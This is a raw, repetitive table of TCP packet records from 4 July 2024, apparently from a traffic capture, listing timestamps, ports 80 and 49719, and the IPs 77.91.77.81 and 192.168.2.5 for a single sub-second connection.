Jul 4, 2024 22:21:05.891735077 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.891747952 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.891757011 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.891762018 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.891771078 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.891774893 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.891787052 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.891796112 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.891798973 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.891812086 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.891824961 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.891825914 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.891838074 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.891838074 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.891849041 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.891859055 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.891864061 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.891876936 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.891886950 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.891900063 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.891936064 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.917999029 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.918029070 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.918039083 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.918091059 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.918150902 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.918176889 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.918186903 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.918198109 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.918209076 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.918220043 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.918232918 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.918292046 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.919044018 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.919055939 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.919064999 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.919075012 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.919085026 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.919095039 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.919097900 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.919126034 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.919183016 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.958924055 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.958945036 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.958956957 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.958997965 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.959099054 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.959110975 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.959120035 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.959129095 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.959140062 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.959141970 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.959156990 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.959180117 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.959229946 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.959323883 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.959336996 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.959346056 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.959358931 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.959364891 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.959371090 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.959387064 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.959403992 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.978821039 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.978861094 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.978914022 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.978926897 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.978962898 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.978965044 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.979007959 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.979062080 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.979063988 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.979098082 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.979131937 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.979154110 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.979168892 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.979171991 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.979231119 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.979265928 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.979289055 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.979301929 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.979312897 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.979315042 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.979319096 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.979325056 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.979347944 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.979357958 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.979371071 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.979378939 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.979391098 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.979393005 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.979406118 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.979425907 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.979454994 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.979628086 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.979639053 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.979648113 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.979657888 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.979669094 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.979676008 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.979680061 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.979693890 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.979720116 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.979789019 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.979835033 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.979878902 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.979890108 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.979897976 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.979907990 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.979918003 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.979928017 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.979931116 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.979938984 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.979949951 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.979958057 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.979984999 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.980165958 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.980176926 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.980211973 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.980245113 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.980254889 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.980267048 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.980278969 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.980288029 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.980295897 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.980314970 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.980349064 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.980607986 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.980619907 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.980628967 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.980638981 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.980648994 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.980652094 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.980659962 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.980670929 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.980679989 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.980684996 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.980690956 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.980695009 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.980704069 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.980714083 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.980716944 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.980729103 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.980736017 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.980767012 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.980792999 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.981090069 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.981101990 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.981110096 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.981122017 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.981132030 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.981134892 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.981142044 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.981153011 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.981163025 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.981168032 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.981173992 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.981178045 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.981185913 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.981199980 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.981206894 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.981210947 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.981221914 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.981223106 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.981240034 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.981259108 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.981569052 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.981581926 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.981590986 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.981600046 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.981610060 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.981623888 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.981628895 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.981635094 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.981646061 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.981657028 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.981658936 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.981672049 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.981703997 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.981889963 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.981909990 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.981920958 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.981935024 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.981945992 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.981957912 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.981961012 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.981972933 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.981981993 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.981985092 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.981993914 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.981996059 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:05.982013941 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:05.982049942 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.015418053 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.015476942 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.015513897 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.015551090 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.015568018 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.015590906 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.015592098 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.015609026 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.015614033 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.015630007 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.015630960 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.015652895 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.015675068 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.015713930 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.015732050 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.015748024 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.015763044 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.015767097 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.015780926 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.015796900 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.015814066 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.015818119 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.015825987 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.015866041 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.015878916 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.050060987 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.050081015 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.050091982 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.050199986 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.050210953 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.050220013 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.050256968 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.050262928 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.050267935 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.050280094 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.050297976 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.050324917 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.050358057 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.050369024 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.050379992 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.050395966 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.050415993 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.050499916 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.050512075 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.050520897 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.050545931 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.050558090 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.050582886 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.050623894 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.068913937 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.068948030 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.068977118 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.068986893 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.069008112 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.069029093 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.069037914 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.069055080 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.069070101 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.069075108 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.069088936 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.069092989 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.069113016 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.069132090 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.069206953 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.069217920 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.069227934 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.069240093 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.069252014 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.069252014 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.069262981 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.069263935 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.069302082 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.069487095 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.069499016 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.069509029 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.069519997 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.069530964 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.069531918 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.069540977 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.069550991 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.069550991 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.069561958 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.069595098 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.069617987 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.069653034 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.069721937 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.069732904 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.069741964 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.069751978 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.069761992 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.069766045 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.069777012 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.069785118 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.069813967 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.069828987 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.070004940 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.070014954 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.070025921 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.070036888 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.070045948 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.070050001 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.070056915 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.070086002 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.070270061 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.070283890 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.070300102 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.070310116 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.070313931 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.070321083 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.070333004 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.070342064 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.070347071 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.070358992 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.070370913 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.070370913 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.070382118 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.070390940 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.070394993 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.070409060 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.070419073 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.070421934 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.070421934 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.070431948 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.070445061 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.070477009 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.070753098 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.070764065 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.070774078 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.070784092 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.070796013 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.070807934 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.070842028 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.070966005 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.070976019 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.070985079 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.070996046 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.071006060 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.071007967 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.071018934 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.071022034 CEST	49719	80	192.168.2.5	77.91.77.81
